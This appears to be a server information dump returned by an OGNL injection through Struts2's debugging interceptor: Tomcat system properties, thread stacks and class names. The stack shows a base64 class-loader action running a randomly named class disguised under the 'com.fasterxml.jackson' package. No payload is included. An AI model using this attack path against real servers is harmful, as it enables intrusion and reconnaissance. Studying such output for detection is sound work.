annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar -java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib -java.vendor.url: https://adoptium.net/ -java.vm.vendor: Temurin -common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" -java.runtime.name: OpenJDK Runtime Environment -sun.java.command: org.apache.catalina.startup.Bootstrap start -java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -java.vm.specification.name: Java Virtual Machine Specification -java.vm.specification.version: 1.8 -catalina.home: /usr/local/tomcat -sun.cpu.endian: little -sun.os.patch.level: unknown -java.io.tmpdir: /usr/local/tomcat/temp -java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues -server.loader: -os.arch: aarch64 -java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment -java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext -user.dir: /usr/local/tomcat -line.separator: - -java.vm.name: OpenJDK 64-Bit Server VM -ignore.endorsed.dirs: -file.encoding: UTF-8 -java.specification.version: 1.8 - -=========================================== - -ThreadStacks: -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - -"http-nio-8080-exec-8" #24 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.lang.Thread.dumpThreads(Native Method) - at java.lang.Thread.getAllStackTraces(Thread.java:1615) - at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26) - at java.lang.String.valueOf(String.java:2994) - at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243) - at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266) - at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251) - at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969) - at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68) - at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98) - at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90) - at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045) - at ognl.ASTMethod.getValueBody(ASTMethod.java:97) - at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) - at ognl.SimpleNode.getValue(SimpleNode.java:258) - at ognl.Ognl.getValue(Ognl.java:537) - at ognl.Ognl.getValue(Ognl.java:501) - at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492) - at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544) - at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490) - at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438) - at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254) - at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179) - at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263) - at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49) - at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142) - at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140) - at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140) - at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175) - at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196) - at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249) - at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48) - at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574) - at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79) - at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141) - at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181) - at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156) - at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168) - at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) - at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483) - at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130) - at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) - at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679) - at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) - at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346) - at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617) - at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) - at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934) - at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690) - at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) - at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@6e2b855c - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at sun.misc.GC$Daemon.run(GC.java:117) - -"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@5faa2b5c - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.lang.ref.Reference.tryHandlePending(Reference.java:191) - at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) - -"http-nio-8080-Acceptor" #28 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:449) - at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:63) - at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129) - at java.lang.Thread.run(Thread.java:750) - -"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #16 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1300) - at java.lang.Thread.run(Thread.java:750) - -"main" #1 [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at org.apache.catalina.core.StandardServer.await(StandardServer.java:468) - at org.apache.catalina.startup.Catalina.await(Catalina.java:730) - at org.apache.catalina.startup.Catalina.start(Catalina.java:678) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:345) - at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:476) - -"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) - at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) - at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) - at java.lang.Thread.run(Thread.java:750) - -"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@21d5aa7d - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) - -"http-nio-8080-Poller" #27 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) - at java.lang.Thread.run(Thread.java:750) - - -=========================================== - -StackClassNames: -Base64ClassLoaderAction -com.fasterxml.jackson.ZsoNQ.ErrorHandler -com.opensymphony.xwork2.DefaultActionInvocation -com.opensymphony.xwork2.interceptor.AliasInterceptor -com.opensymphony.xwork2.interceptor.ChainingInterceptor -com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor -com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor -com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor -com.opensymphony.xwork2.interceptor.MethodFilterInterceptor -com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor -com.opensymphony.xwork2.interceptor.ParametersInterceptor -com.opensymphony.xwork2.interceptor.PrepareInterceptor -com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor -com.opensymphony.xwork2.interceptor.StaticParametersInterceptor -com.opensymphony.xwork2.ognl.OgnlUtil -com.opensymphony.xwork2.ognl.OgnlUtil$3 -com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor -com.opensymphony.xwork2.validator.ValidationInterceptor -ognl.ASTMethod -ognl.ObjectMethodAccessor -ognl.Ognl -ognl.OgnlRuntime -ognl.SimpleNode -org.apache.catalina.authenticator.AuthenticatorBase -org.apache.catalina.connector.CoyoteAdapter -org.apache.catalina.connector.CoyoteWriter -org.apache.catalina.core.ApplicationFilterChain -org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor -org.apache.catalina.core.StandardContextValve -org.apache.catalina.core.StandardEngineValve -org.apache.catalina.core.StandardHostValve -org.apache.catalina.core.StandardServer -org.apache.catalina.core.StandardWrapperValve -org.apache.catalina.startup.Bootstrap -org.apache.catalina.startup.Catalina -org.apache.catalina.valves.AbstractAccessLogValve -org.apache.catalina.valves.ErrorReportValve -org.apache.coyote.AbstractProcessorLight -org.apache.coyote.AbstractProtocol$AsyncTimeout -org.apache.coyote.AbstractProtocol$ConnectionHandler -org.apache.coyote.http11.Http11Processor -org.apache.struts2.dispatcher.Dispatcher -org.apache.struts2.dispatcher.ExecuteOperations -org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter -org.apache.struts2.factory.StrutsActionProxy -org.apache.struts2.interceptor.CheckboxInterceptor -org.apache.struts2.interceptor.DateTextFieldInterceptor -org.apache.struts2.interceptor.FileUploadInterceptor -org.apache.struts2.interceptor.I18nInterceptor -org.apache.struts2.interceptor.MultiselectInterceptor -org.apache.struts2.interceptor.ServletConfigInterceptor -org.apache.struts2.interceptor.debugging.DebuggingInterceptor 